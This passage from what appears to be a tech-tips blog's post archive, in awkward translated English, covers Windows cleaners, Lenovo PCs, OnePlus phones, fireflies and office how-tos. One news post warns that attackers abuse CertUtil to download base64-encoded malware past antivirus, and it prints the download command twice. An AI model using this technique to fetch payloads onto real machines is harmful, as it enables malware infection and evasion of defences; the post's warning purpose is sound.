remove redundant files in a number of folders that CCleaner cannot perform, besides the ability to remove hijacking toolbar , add application reviews, optimize and improve performance. productivity of Windows . Besides, there are some other basic features:\n  Defect:\nIt can be said that a very basic shortcoming of Slim Cleaner does not support the ability to check the system Registry , there is no Portable version, so it is easy to affect the flexibility and number of users of this software. . SlimCleaner was created by SlimUtiltites and perhaps the explanation for this shortcoming is due to the availability of other available tools like SlimComputer , Fix Cleaner and SlimDrivers .\n3. Xleaner: Not much different from the above two products, Xleaner allows users to choose specific paths, applications and browsers to operate.\nAdvantages:\nXleaner also has the ability to delete temporary files in basic folders like Prefetch, temp or % temp% . Currently the program has 2 official versions: Installer - Portable and installed. Besides, Xleaner also improved the management function, cleaning up the system memory, optimizing performance, the interface was presented simply, easy to use, clearly showing other paths. Windows, clear classification between text files or Windows applications, specifically monitor system processes and services .\n  Defect:\nHowever, Xleaner's default option has too many options available and thus will accidentally delete many of the items that users still need. For beginners, this process becomes a complicated and somewhat confusing barrier, and of course they will have to worry, worry a lot before pressing the Purge button. On the other hand, for those who prefer looks, Xleaner is unlikely to be on their list of essential software.\n4. Advanced SystemCare Free: This is the free version besides the popular paid app of the famous IObit software vendor. But what difference does Advanced SystemCare Free differ from the paid program?\nAdvantages:\nAbility to monitor and monitor other program removal applications, system optimization, Start Up program management , Shortcut fixer, IE helper, Windows problem fixer, disk doctor, process manager . Version Pro for $ 12.97 , but you can still use some basic features such as improving the performance of RAM, removing some fake programs .\n  Defect:\nBesides, some components are only available in Pro version like Registry Cleaner is available in free programs like CCleaner , and Malwarebytes , Microsoft Security Essentials, Avast or AVG . Therefore, many users will assume that the layout of Advanced SystemCare function is not really reasonable.\n5. Glary Utilities: Besides CCleaner, Glary Utilities is also quite popular and easy to use based on basic functions in the process of deleting excess files and optimizing the system. And now, the application also has 2 main versions: free and paid - $ 27.97.\nAdvantages:\nIt can be said that Glary Utilities is a pretty good combination of features and essentials for system cleanup software, not all tools are available, including the process of searching and searching. and remove redundant files on your computer and Registry , fix false shortcuts, find and kill spyware quite easily, empty folders .\n  Defect:\nHowever, besides, many users also have to acknowledge Glary Utilities ' shortcomings when there are no basic functions such as improving self-search and error correction, functional optimization options, no like CCleaner in marking applications, specific software to apply, does not support Portable version .\nThe above is a list of some sorting and cleaning applications for Windows, and each tool has its own advantages and disadvantages. Depending on your experience and needs, you can choose for yourself the most appropriate and effective support tool. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkrLGjqbKuecKlnJqmpaV6tsDIpaCtsV2otbDBy51km51dqsCmsIyfpqtlp567pbvWrA%3D%3D\n","link":"/post/which-system-cleanup-utility-should-be-used-for-windows/","section":"post","tags":null,"title":"Which system cleanup utility should be used for Windows?"},{"body":"Lenovo has officially introduced the new generation of two popular business-class PCs, ThinkCentre and ThinkPad, with the highlight of the 10th generation Intel vPro processor and a series of improvements. moving towards other hardware performance.\nThinkCentre There are a host of very interesting new variants from the new Lenovo ThinkCentre M-series, including the 21.5-inch M70a, 23.8-inch M90a All-in-One, and the SFF desktop. All of them come with Intel vPro processor, Lenovo ThinkShield . as well as features that focus primarily on system security and stability.\nM90 is the most advanced version of the ThinkCentre M-series, featuring a 23.8-inch screen, 10th-generation Intel Core i9 vPro processor, AMD Radeon 625 graphics card with up to 32GB of RAM, along with memory. SSD 1TB and WiFi 6. There are 2 tower and small variants to choose from. Supported ports include, USB Type-A, USB Type-C, HDMI, DisplayPort, VGA and 3-in-1 card reader. All ports are hidden under a flap and the cable system is covered. Switch to the monitor support bracket.\nThinkcentre M90a all-in-one Besides the upgrade of configuration, especially, we have to mention the exclusive security features that Lenovo equipped on M90a All-in-One. This desktop has optional support for PrivacyGuard (narrowing the viewing angle of the screen) and Lenovo's famous PrivacyAlert technology.\nThinkPad Lenovo has also introduced the ThinkPad P14s and P15s, successively to the fairly successful P43 and P53 models. The most noteworthy highlights include the 6-core Core i7-10810U, with a turbo clock speed of up to 4.9GHz, accompanied with Nvidia Quadro graphics card for users' mobile workstation needs, Wi-Fi 6, the storage capacity is up to 2TB, supports Ubuntu and Red Hat Linux, etc.\nThinkPad P14s and P15s All new ThinkCentre models (including M70, M70a AIO, M80 series, M90 AIO) will be released in June. However, Lenovo has only announced the price for the M90 ​​AIO, at $ 1,099 for the lowest configuration version. The ThinkPad P14s and P15s will hit shelves in May, with prices starting at $ 1,599 and $ 1,579 respectively.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaSanqakp7Jurc2dZK2gmaO4sa2Ma2Snnadiuaa6zq%2BmZqiTqHq4tdOhZKKmpJq5bsLPq6ZmqKKksKa%2F0qiprA%3D%3D\n","link":"/post/2-new-lenovo-pcs-with-intel-vpro-processors/","section":"post","tags":null,"title":"2 new Lenovo PCs with Intel vPro processors"},{"body":"Windows has an integrated software called CertUtil for managing certificates in Windows. Using CertUtil you can install, backup, delete, manage, perform certification-related functions in Windows.\nOne of CertUtil's features is to download the certificate or any related file from the URL and save it on the computer using certutil.exe -urlcache -split -f [URL] output.file .\nIn 2017, security researcher Casey Smith warned of using this method to download malicious code. In 2016 it was taken advantage of and last March there was a Trojan that used it to download a series of files and scripts to the computer.\nThe attacker still uses CertUtil because some computers are still locked, not allowing strange software to download files. Using Windows built-in software will help to be whitelisted and allowed to download files.\n  CertUtil is used on a recent trojan\nUse CertUtil + Base64 to bypass antivirus software Security consultant Xaview Mertens recently released a new way to use CertUtil, whereby base64 will first encrypt the malicious file to be identified as harmless, then decrypt it after being downloaded by CertUtil.exe.\nCommand to download files with CertUtil:\ncertutil.exe -urlcache -split -f [URL] output.file\nMalwareHunterTeam indicates that certutil.exe -decode has been used in practice. F5 Labs also details a campaign using CertUtil.exe to install a virtual money digging tool. Fabio Assolini from Kaspersky also warned that this method was used in Brazil.\nEvery day there are always new tricks to exploit the programs that are legal, secure on Windows. If you do not use CertUtil to access the certificate or remote server, you should lock the network connectivity of this tool.\nSee more:\nWarning of new malware appear like Wannacry, capable of deleting Vietnamese percussion on computer What to do when the computer is infected with a virus that fights virtual money? Plugins on well-known editing tools can give hackers priority ncG1vNJzZmismaXArq3KnmWcp51ksKa%2B066roqSVrbJurculprCrXZa7bq3TrZico5WnerW7jJ2msKacpK6lecyao6KbmaTCtHnCqJueZZGjsW6u2KmYrKtdlru1tdWiqa6rXai8p8DWmqme\n","link":"/post/certutil-exe-allows-an-attacker-to-download-malicious-code-and-bypass-antivirus-software/","section":"post","tags":null,"title":"CertUtil.exe allows an attacker to download malicious code and bypass antivirus software"},{"body":"Sometimes changing screensavers, desktop backgrounds or fonts and display font sizes is quite important and necessary for some people . Understanding this, Microsoft allows users to easily change the theme on Windows 7, but this is probably not enough. Many users in addition to changing the interface allows, they also want to 'touch' all other components to affirm their \"identity\".\nIn this article, we will show you how to customize the Windows 7 Logon screen background. There are several ways to do this, using third-party software also, without using any software. have. For most users, using third-party software makes them uncomfortable because the installation may affect the speed and safety of the computer. Manual editing This is a way to edit the 'touch' to the registry and an advice before doing this is that you should backup the registry to prevent errors. For those who are not knowledgeable about the registry, it is recommended to do the other way below with additional installation software. - Open the Start menu and enter regedit in the search bar - Right-click HKEY_LOCAL_MACHINE and select Find - Search for phrase OEMBackground and you will see the link below: Computer HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Authentication LogonUI Background If this key does not exist, you need to add a new DWORD value called OEMBackground - Double click on OEMBackground entry and change the value from 0 to 1\n  - Open Windows Explorer and go to the following link: % windir% system32oobe - Create a new folder called info and open it - Create a new folder inside info and name it backgrounds - Change the name of the image you want to set as the background image on the logon screen to backgroundDefault.jpg and place it in the folder backgrounds just created above (image size must be smaller than 245KB)\n  The last thing you need to do is just log off or restart the computer.\nUse software If you feel unsure about editing the registry or want to change each image more simply and without time, just use one more software to support this change. There are a few software that support logon background change on Windows 7 but the software we mentioned here is Tweak.com's Logon Changer . This software is completely easy to use, requires no installation, and it even has a built-in tool to automatically edit the size and size of images without affecting the original image.\n  You just need to run the program, it will allow you to preview the changed screen with several options: ' Change Logon Screen ' allows you to take a new photo, ' Test ' to preview the changing screen and ' Revert to Default Logon Screen 'to return to the original original screen background of Windows 7.\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZqSfnLyvedKcqZ6dnmK8r3nWoqWdp6eoeng%3D\n","link":"/post/change-logon-screen-on-windows-7/","section":"post","tags":null,"title":"Change Logon screen on Windows 7"},{"body":"Given the similar naming conventions of the\u0026nbsp;OnePlus 7T,\u0026nbsp;OnePlus 7T Pro and\u0026nbsp;OnePlus 7T Pro McLaren Edition, it's easy to be confused about OnePlus' line of 7T phones. Released in the latter half of last year, the OnePlus 7T is the phone-maker's current flagship phone. OnePlus then followed it up with a handful of other variants.\n The reality is that these variants\u0026nbsp;are\u0026nbsp;similar, but there are some important differences to note in their specs, design, availability and, of course, price. I've broken down the main points below and you'll also find a full spec comparison table at the end.\u0026nbsp;\nOnePlus 7T series design differences The 7T and 7T Pro are unmistakably cut from the OnePlus cloth with their soft blue colours and frosted glass backs. The major difference you'll see is the cameras on the back -- the 7T's cameras are encased in a circular unit while the 7T Pro's cameras are arranged in a vertical strip. All three phones have fingerprint scanners built into their displays.\nThe 7T Pro McLaren's design veers off even further. It's physically identical to the standard 7T Pro in terms of camera layout, but the blue colour has been replaced with a glossy black finish, with a subtle Damascus Steel effect that shimmers just under the surface. There are McLaren Papaya Orange effects dotted all over, including a metal strip around the cameras, an orange function slider on the side and an orange stripe around the bottom half of the phone.\u0026nbsp;\n  Screen sizes? The 7T has a 6.55-inch display with a 2,400x1,080-pixel resolution. Both Pro models have larger 6.67-inch displays with 3,120x1,440-pixel resolutions. That gives the Pros a pixel density of 516ppi, which is sharper than the 7T's 402ppi. You may not really notice the marginal 0.12-inch size increase in day-to-day use, but the extra resolution bump should help make those high-res photos and videos pop a bit more.\u0026nbsp;\nKeep in mind that the 7T has a teardrop-shaped notch that cuts into the top of the display to house the front-facing camera. The Pro models don't have this as their selfie cameras mechanically slide out from the top edge of the phone when needed. As a result, their displays stretch from edge to edge and remain entirely unbroken by notches.\n  What about processor power? All three phones pack Qualcomm's latest octa-core Snapdragon 855 Plus processor, clocked at 2.9GHz. The 7T and 7T Pro both pair that with 8GB of\u0026nbsp;RAM, while the McLaren version comes with a meaty 12GB. It's odd then that on benchmark tests, it's the standard 7T that delivered the best scores.\nOn the Geekbench 5 processor test, the 7T scored 2,911 (multi-core), beating out the 7T Pro McLaren's 2,854 and the standard 7T Pro's 2,883. Similarly, on the 3DMark Sling Shot Unlimited graphics test, the 7T achieved an overall score of 8,782, beating the 7T Pro's 8,720 and the McLaren's 8,725. Admittedly, these differences are razor thin and barely qualify as differences at all. It is a little surprising though that the McLaren edition, with its RAM boost, didn't produce better scores than its siblings.\u0026nbsp;\nGeekbench v.5.0 multicore OnePlus 7T :\u0026nbsp;2,911\nOnePlus 7T Pro :\u0026nbsp;2,883\nOnePlus 7T Pro McLaren Edition :\u0026nbsp;2,854\n3DMark: Slingshot Unlimited OnePlus 7T :\u0026nbsp;8,782\nOnePlus 7T Pro :\u0026nbsp;8,720\nOnePlus 7T Pro McLaren Edition :\u0026nbsp;8,725\nThese phones are more than capable of handling any of your everyday tasks, including video streaming and photo editing. Gaming was a breeze too, even with the graphically demanding game Asphalt 9: Legends, which played smoothly and had no discernible drop in frame rates.\u0026nbsp;\nThey all run Android 10 software, but the McLaren's software has had some visual tweaks. It's mostly just a darker colour scheme, with lots of orange thrown around to match the look of the outside of the phone.\u0026nbsp;\nIs the storage the same? This is where you get more for that \"Pro\" name. The standard OnePlus 7T comes with 128GB of storage, while both Pro models double that with 256GB. That's worth keeping in mind, given that none of the phones have expandable storage. If you shoot a lot of video and store a lot of files locally, opting for a higher-capacity model is a smart investment.\u0026nbsp;\n  Are the cameras the same? They all have a triple-camera setup on the back, consisting of a 48-megapixel main camera, a 16-megapixel super wide angle camera and a telephoto camera. The 7T, however, has a 12-megapixel telephoto camera, while both Pros have 8-megapixel telephoto cameras. It may seem odd that the telephoto resolution on the Pro models is lower, but they do offer 3x zoom, instead of only 2x.\nIn my testing, images from all three phones are sharp, with decent exposure and accurate colours. They all have a dedicated macro mode too, which lets you focus on objects close to the lens. It's great if you want to take up-close shots of, say, insects and flowers, when you're out and about. The overall camera quality is good, but it's not quite up there with top models like the Pixel 4, iPhone 11 Pro or Galaxy S10 Plus. If photography is of the utmost importance to you, it's worth considering spending more cash.\nDo they use the same batteries? The OnePlus 7T has a 3,800-mAh battery, which survived an impressive 16 hours on our battery drain test. The Pro models have slightly larger 4,085-mAh batteries, which isn't a huge step up. I don't expect much difference in battery life, particularly when you need to take into account the slightly larger displays that suck up more battery.\nAnecdotally, I was able to get a day of mixed-use from the phones before they needed a top up. Like all smartphones, I'd want to give them a full recharge overnight. All phones support OnePlus' ultra fast charging, which can take the phone from 0% to over 60% charged in 30 minutes. This is great if you forgot to give your phone a boost before heading on a night out.\u0026nbsp;\n  Do they have 5G? Currently, these three phones do not have a 5G version. If you want to use a OnePlus phone on a fast 5G network, you'll need to go for the OnePlus 7 Pro 5G -- which is available in the UK and the US carrier Sprint.\nPrice and availability Unsurprisingly, given its fancy branding and extra RAM, the OnePlus 7T Pro McLaren edition is the most expensive of the three phones, coming in at £799. It's only available in the UK and Europe for now, but for reference that price converts to about $1,010 or AU$1,515.\nThe regular 7T Pro is also unavailable in the US or Australia, but its UK price of £699 converts to about $895 or AU$1,330. The standard OnePlus 7T is available in the US and will set you back $599 or £549. It isn't officially sold in Australia but that price converts to about AU$1,045.\nWhat about OnePlus' other 2019 phones? The 7T series isn't the only phone range the company launched last year. Back in May, 2019, it launched the OnePlus 7, 7 Pro and 7 Pro 5G.\nThe OnePlus 7 has a smaller 6.44-inch display, Qualcomm's Snapdragon 855 (but not the faster Plus version), and either 6 or 8GB of RAM, depending on where you buy it. It also has a screen notch to house the front-facing camera and a dual camera on the back with a standard and telephoto lens.\nThe OnePlus 7 Pro meanwhile has a 6.67-inch display, the same Snapdragon 855 chip, a triple rear-camera setup on the back (normal, telephoto and superwide) and it has the pop-up selfie camera found on the 7T Pros.\u0026nbsp;\nFinally, we have the OnePlus 7 Pro 5G, which, as mentioned before is simply a 5G-enabled version of the 7 Pro.\nOnePlus 7T series specs comparison \nOnePlus 7TOnePlus 7T ProOnePlus 7T McLaren editionDisplay size, resolution6.55-inch AMOLED; 2,400x1,080-pixels 6.67-inch AMOLED; 3,120x1,440-pixels 6.55-inch AMOLED; 2,400x1,080-pixelsPixel density402ppi 516ppi 402ppiDimensions (Inches)6.34x2.93x0.32 inches 6.40x2.99x0.35 inches 6.40x2.99x0.35 inchesDimensions (Millimeters)160.94x74.44x8.13 mm 162.6x75.9x8.8 mm 162.6x75.9x8.8 mmWeight (Ounces, Grams)6.70 oz; 190g 7.27 oz; 206g 7.27 oz; 206gMobile softwareAndroid 10 with OxygenOS Android 10 with OxygenOS Android 10 with OxygenOSCamera48-megapixel (standard), 12-megapixel (telephoto), 16-megapixel (ultra wide-angle) 48-megapixel (standard), 8-megapixel (telephoto), 16-megapixel (ultra wide-angle) 48-megapixel (standard), 8-megapixel (telephoto), 16-megapixel (ultra wide-angle)Front-facing camera16-megapixel 16-megapixel 16-megapixelVideo capture4K 4K 4KProcessor2.96GHz octa-core Qualcomm Snapdragon 855+ 2.96GHz octa-core Qualcomm Snapdragon 855+ 2.96GHz octa-core Qualcomm Snapdragon 855+Storage128GB 256GB 256GBRAM8GB 8GB 12GBExpandable storageNone None NoneBattery3,800-mAh 4,085-mAh 4,085-mAhFingerprint sensorIn-screen In-screen In-screenConnectorUSB-C USB-C USB-CHeadphone jackNo No NoSpecial features90Hz display, dual-SIM, Warp Charge 30T 90Hz display, dual-SIM, Warp Charge 30T 90Hz display, dual-SIM, Warp Charge 30TPrice off-contract (USD)$599 Converted: $900 Converted: $1,010Price (GBP)£549 £699 £799Price (AUD)Converted: AU$890 Converted: AU$1,330 Converted: AU$1,520\nncG1vNJzZmismaXArq3KnmWcp51kvK%2Bxz6WsrGVnqXq3v4xwq2aooqR6t7%2BMppqlmaKau26xw6KroqeeYrCwusWuqp6cXam1pr%2FEZpirnV2ptaZ5zJqgp2WUnrOnsdGepZydow%3D%3D\n","link":"/post/confused-these-are-the-main-differences/","section":"post","tags":null,"title":"Confused? These are the main differences"},{"body":"Fireflies are probably insects that are familiar to the vast majority of Vietnamese, not only because they are associated with fields, peaceful village scenes, but also appear in fairy tales, oral fables. of the nation for thousands of generations. Perhaps all of us have heard the story of the prodigy Nguyen Hien - the youngest poet in the history of the Vietnamese election (13 years old), catching fireflies and putting them in eggshells to make lamps, grinding batons. use early or late.\nBut how long has it been since you've seen a firefly? Perhaps a long time ago, and in fact, these animals are gradually disappearing from the earth, like bees, amphibians and butterflies. So what is the reason here?\n  The real cause of the firefly decline is still unknown. However, there are three main factors that biologists are focusing on: The narrowing of habitats and toxic chemicals (which tend to exist in the water environment where fireflies start their lives. ) and light pollution.\nShrinking habitat Most firefly species develop as larvae in rotting wood, soil at the edge of ponds, streams, and even underwater. Fireflies are typical animals for the temperate zone, although most live in subtropical and tropical regions (about 2000 species). They are mostly seen on fields, forests and swamps. Their preferred environment is warm, wet and near water, such as ponds, streams and rivers, or even wetlands. Fireflies are nocturnal creatures (although there are species that live during the day). Males often have wings, fly on the early nights of summer and most can glow in the abdomen - their main identifying feature in the dark.\nThe increasing world population means that the habitat of animals in general and fireflies in particular is increasingly narrowed. As long as we continue to turn forests into industrial parks, grasslands into residential areas, the number of fireflies will decrease. That's for sure.\nLight pollution Besides the shrinking of habitats, light pollution is also a major threat to fireflies. Both male and female fireflies use the bright light emitted from the abdomen to communicate with each other, find mates, repel enemies and establish territory. Research has shown that light sources - including immobilized light, such as street lights or lights from people, and temporary light, such as car headlights - make it difficult for fireflies to communicate with each other. . A simple theory, if the mother and father fireflies can not find each other to mate due to the impact of the artificial light of man, of course, young firefly larvae will never be born.\n  Human curiosity One of the human behaviors that researchers believe contributes to the decline in the number of fireflies is excessive curiosity. The flickering fireflies in the night is always a fascinating scene, associated with many mysterious stories, thereby attracting many people to admire. Tours to see the glowing fireflies have long been popular in many countries. However, if the tourism industry is not well planned and managed, it will also affect the habitat of fireflies.\nEnvironmental pollution The ultimate cause is environmental pollution and climate change. The global warming is quickly followed by a series of other negative consequences causing the number of insects to decline at a 'frightening' rate, up to 2.5% per year. Fireflies are certainly not out of them.\nBesides, pesticide exposure is also a big problem for fireflies. According to experts, organophosphate and neonicotinoid phosphate in many pesticides, besides killing insects, also kill other insects.\nncG1vNJzZmismaXArq3KnmWcp51ks6q%2BxJ%2Bjop2jYq6zsYydoKyZoKWyor7Ip55mr5iWwW610maroZ1dmK62v8Q%3D\n","link":"/post/fireflies-are-disappearing-what-is-the-cause/","section":"post","tags":null,"title":"Fireflies are disappearing, what is the cause?"},{"body":" If you've tried to take a screenshot of a game with the key, you've likely noticed that it doesn't work. Because it doesn't work with fullscreen games, you'll need to use another method to capture your best gaming moments. If you use Steam...\nMethod 1of 3:\nUsing Steam  Start Steam. Using Steam to take screenshots is the easiest way if you're already playing the game on Steam. Steam has a built-in screenshot function that you can use for any Steam game. If you don't use Steam to play games, see the method for using MSI Afterburner. You can find Steam in the All Apps section of your Start menu or screen in Windows. On Mac computers, you'll find Steam in the Applications folder. In most Linux distributions, Steam will be listed in the Applications menu.   Click the \"Steam\" menu and select \"Settings.\" This will display the Steam settings menu.\n  Click the \"In-Game\" tab. This will display settings for the Steam overlay.\n  Click the \"Screenshot shortcut keys\" field. This will allow you to set a new key for screenshots. By default, it is F12.\n  Press the key or combination you want to use. You can press a single key, or hold Ctrl/⌘ Command, Alt/⌥ Opt, or ⇧ Shift and then press a key to create a combination.\n  Click the \"Screenshot Folder\" button. This will let you change the location that your screenshots are saved. Select the folder that you want to use.\n  Choose your other screenshot options. You can have Steam show a notification, play a sound, and save an uncompressed copy. The uncompressed copy will be an exact replica of your screen in the game, but the file size will be much larger.\n  Click \"OK\" to save your changes. You'll be able to take screenshots with your new settings.\n  Start the game you want to take screenshots of. You can use the screenshot key for any of the games you play in Steam.\n  Take a screenshot while you're playing. Press the key or combination you set to take your screenshot. If you enabled notifications, you'll hear or see it immediately.[1]\n Method 2of 3:\nUsing MSI Afterburner  Download the MSI Afterburner installer. MSI Afterburner is a graphics card utility that, among other things, can take screenshots of your games. You can download it for free from gaming.msi.com/features/afterburner.[2] The file will download in ZIP format. Double-click it to open it, then click \"Extract\" to extract the installer file.   Run the installer. Double-click the extracted installer to start the installation process. Keep the settings at their default and proceed through the prompts to install. A second installation for RivaTuner will start after the initial install. Follow the prompts for this as well.   Launch MSI Afterburner after installing it. This will open the main interface. There's a lot here, but don't worry about everything you see. Taking screenshots will be very straightforward.\n  Click the Settings button at the bottom of the window. This will allow you to configure some of your settings before taking screenshots.\n  Click the \"Screen capture\" tab at the top of the Settings window. This will display the screenshot settings.\n  Click the \"Screen capture\" field that currently says \"None.\" The next key you press will become your screenshot key.\n  Press the key or key combination you want to use to take screenshots. You can use any key on your keyboard, but make sure you don't pick a key you use in your games. If you hold Ctrl, Alt, or ⇧ Shift you can create a combination shortcut.\n  Select your screenshot format. The \"bmp\" format will be the most accurate, but will take up the most space and likely need to be converted before you upload or share it. The \"png\" format offers the best compression-to-quality ratio. The \"jpg\" format will offer the smallest size but at noticeably reduced quality. The \"jpg\" format offers a \"Quality\" slider, but the other two do not. The \"png\" format is the most commonly used format for publishing and posting screenshots.   Select a screenshot folder. You can change the folder you want your screenshots to be saved in. Click the \"Browse\" button to open the file browser and navigate to the folder you want to use.\n  Save your settings. Click the \"OK\" button at the bottom of the Settings window to save your settings.\n  Start a game with MSI Afterburner running. You can minimize it if you'd like. MSI Afterburner is very lightweight, and you shouldn't notice a performance decrease with it running.\n  Press your screenshot key or combination while playing. Your screenshot will be saved immediately to the folder you specified.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRpcG2vsRmnpqlmaO0br%2FCq5yepqOdvLW%2F\n","link":"/post/how-to-capture-gaming-screenshots/","section":"post","tags":null,"title":"How to Capture Gaming Screenshots"},{"body":" This wikiHow teaches you how to convert an Apple Numbers document into a Microsoft Excel (.XLS) file on a Mac, a Windows computer, and an iPhone, as well as within the iCloud website. Go to https://www.icloud.com/ in a web browser. You can...\nMethod 2of 4:\nOn Mac  Make sure your Numbers document is open. You should see the \"Numbers\" heading in the top-left corner of the Mac menu bar.\n  Click File. It's in the top-left area of your Mac's screen. Doing so will invoke a drop-down menu.\n  Select Export To. This option is near the middle of the File drop-down menu. Selecting it invokes a pop-out menu.\n  Click Excel. It's in the Export To pop-out menu.\n  Click Next. It's in the bottom-right corner of the \"Export Your Spreadsheet\" window.\n  Enter a name for your file. This is how your file will appear in both Numbers and Excel.\n  Select a save location. You'll do so by clicking a folder (e.g., \"Desktop\").\n  Click Export. It's in the bottom-right corner of the window. This will save your Numbers document as an Excel document. You can double-click the document on any computer with Excel installed to open it in Excel.\n Method 4of 4:\nOn iPhone  Open Numbers. This is the green app with white bars on it.\n  Select a document to open. You may first have to tap the \"Back\" button in the top-left corner of the screen if Numbers opens to an existing document.\n  Tap …. It's in the top-right corner of the screen.\n  Tap Export. This option is near the top of the screen.\n  Tap Excel. It's the lower-left option on this page.\n  Tap Mail. You'll see the mail icon, which resembles a white envelope on a light-blue background, in the top row of the pop-up menu that's at the bottom of the screen.\n  Enter your email address. This should go in the \"To\" field, which is at the top of the screen.\n  Tap Send. It's in the top-right corner of the screen. Doing so will send the Numbers document in .XLS format to your email inbox, from which you can download it to a computer that uses Excel.\n  Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmpa6lkpq%2FtHnTqGSxpKM%3D\n","link":"/post/how-to-convert-numbers-to-xls/","section":"post","tags":null,"title":"How to Convert .Numbers to .Xls"},{"body":"Charts are tools that make reporting your data intuitive, based on which specific assessments and directions can be developed. The following article will guide you in detail how to create charts in Word 2016.\nStep 1: Go to the Insert tab -\u0026gt; Chart:\n  Step 2: The Insert Chart dialog box appears, select the chart type -\u0026gt; click OK:\n  Step 3: The chart type is inserted with the default value, the remaining you enter data in Excel file to draw the chart:\n  Step 4: Edit the title for the chart by right-clicking the title -\u0026gt; select Edit Text:\n  Results of editing the title for the chart:\n  Step 5: Edit the note for the chart by double-clicking the note line at the bottom of the chart -\u0026gt; Format Legend window appears to change the font style, font, color and position of the note on the chart:\n  So basically you've drawn the chart:\n  In addition, after drawing the chart you want to change the chart type, click the chart -\u0026gt; Design -\u0026gt; click Change Chart Type:\n  Select the type of chart you want to change -\u0026gt; click OK:\n  As a result, you have changed the chart style:\n  To edit the style, font, font color . click the chart -\u0026gt; select the Format tab to change the font format on the chart:\n  Edit the chart style, color . click the chart -\u0026gt; go to the Design tab -\u0026gt; change options:\n  Above are instructions on how to draw charts in Word 2016. I wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZJygkafBbrXNZq6oqpRif3F9lQ%3D%3D\n","link":"/post/how-to-create-a-chart-in-word-2016/","section":"post","tags":null,"title":"How to create a chart in Word 2016"},{"body":"To use Google services, like Gmail, Google Drive, Google Docs, . we only need one Google account. And users can log in and sync this Google account data on any device from a computer or Android or iOS device. However, in case you use the same device and want to delete all data from history, bookmarks, account information, ., you need to log out the account. In the article below, Network Administrator will summarize how to log out of Google accounts on devices.\n1. Exit Google account on computer: Step 1: On Google Chrome browser logged in to your Google account and proceed to synchronize the data, we will click on the 3 dots icon and select Install .\n  Step 2: In the Login Settings section, we click Disconnect your Google account .\n  A Google account logout dialog box appears. Here, if users want to delete all history, bookmarks, settings and data stored on the computer, check the box to delete the history below. Finally click Logout .\n  2. How to log out of Google on Android: Step 1: First, we will click on the Google Chrome icon on the device interface. In the main interface. Click the 3 dots icon and select Settings .\n    Step 2: In this new interface, we will click on the account icon that is logged on Google. Go to the new interface, scroll down below will see Logout from Chrome . When you click on that option, you will see an interface informing the data on your Google account on the device, click Sign out to exit your Google account on Android.\n    3. Exit Google account on iPhone, iPad: Step 1: We also access Google Chrome on the device. At the main interface, click on the 3 dots icon and select Install .\n   Step 2: Next, the user also touches the account icon that is logged on the device. Go to the new interface, we look down and click on Logout from Chrome . Show the Sign out interface from Chrome ?. Here you will receive a notification about the data when you log out, click Logout .\n    4. How to log out of a remote Google account: In case you log in to your Google account on Android device or iPhone, iPad but no longer holding device but want to exit account, how to do? The solution is that we will log out of the Google account remotely.\nStep 1: First of all, users need to log in to the account that Google wants to remotely exit and access the link below:\nhttps://myaccount.google.com/intro Step 2: In the new interface, go to Sign-in \u0026amp; Security section and then click on Device activity \u0026amp; notifications item.\n  Step 3: In the new interface, if you scroll down the Recent used devices section, you will see a list of devices that are logged into this Google account. Click Review Devices .\n  Step 4: You will see a detailed list of the time and place of that Google account login. Here, click on the device you want to exit Google account remotely .\n  Step 5: Next, click the Remove button to delete the Google account on that device.\n  A small Remove access dialog box appears, click Remove below to log out of your Google account from the device.\n  Soon, you will get the Access removed message at that device.\n  The above is a guide to how to exit Google accounts on devices and remotely exit Google accounts. When you exit the account on the Chrome browser on your computer, the bookmarks or history will be erased. Therefore, please save the bookmark before logging out of the account. In addition, you should exit your account when not in use, to avoid your data being stolen, even if we have a remote account exit.\nRefer to the following articles: Instructions for permanently deleting Google history How to change the language of your Google account How to create and create a Google account ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnHqwwdNmpp9lqaTCs3nGqKagpJVirqSvzq6lrWWfo3qlsdWimp6r\n","link":"/post/how-to-log-out-of-your-google-account-on-devices/","section":"post","tags":null,"title":"How to log out of your Google account on devices"},{"body":"  Open the Word document you want to merge. Double-click the application with the blue \"W\", click File, click Open… and then select the document.\n  Click where you want to insert the next document.\n  Click Insert in the menu bar.\n  Click File… near the bottom of the drop-down menu.\n  Select the text that you want to incorporate into the open Word document.\n  Click Insert . The new document will be added to the open Word document, at the location you choose.\nAfter merging, Word documents and most RTF documents will still retain their original formatting. Your results will vary for different file types.\nRepeat the steps above for each document that you want to add to the merge.\nCombine two versions of the same document   Open the Word document you want to combine. Double-click the application with the blue \"W\", click File, click Open… and then select the document.\nA Word document will have multiple versions if you turn on the Tracking feature on the Review tab.\n  Click the Review tab at the top of the window.\n  Click Compare in the upper right corner of the window.\n  Click Combine Documents… .\n  Select \"Original document\" from the drop-down menu of the label Original document.\n  Select \"Mixed Document\" from the Revised document drop-down menu.\n  Click OK . The two versions will be combined into a new Word document.\n  Click File , select Save in the menu bar.\nMicrosoft Word ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWVp7Smecyuo62hoKGybrDOnKymnZ6pwG61zWakopuipMCwstNmrqiqlA%3D%3D\n","link":"/post/how-to-merge-multiple-documents-in-microsoft-word/","section":"post","tags":null,"title":"How to Merge Multiple Documents in Microsoft Word"},{"body":"There are many errors arising in the text editing process. One of the most common user mistakes is to type the number of whitespace characters (spaces) between words in a text. According to the standard between 2 words containing only 1 space to distinguish. But due to excessive typing of white space you can hardly see with the naked eye, so this error many users make. The following article shares with you How to remove extra spaces and spaces in Word.\n  Usually extra space in your text can be 2 spaces or more than 2 spaces.\nWhere the number of extra spaces in the text are 2 characters you do the following: Highlight the entire text to remove extra spaces -\u0026gt; press Ctrl + H -\u0026gt; the dialog box appears in the Replace tab, enter the Item according to the following options:\n- Find what section: Enter 2 spaces\n- Section replaced with: Enter a space.\nAfter you finish typing, click Replace All to remove extra spaces between words or you can click Replace to delete each extra space position:\n  However, in some cases, the number of heterogeneous extra spaces is 2 or 3 spaces between words. Furthermore, it is not possible to determine the number of extra spaces between words:\n  To overcome the current situation, you choose to add features in Special. Select the text you want to 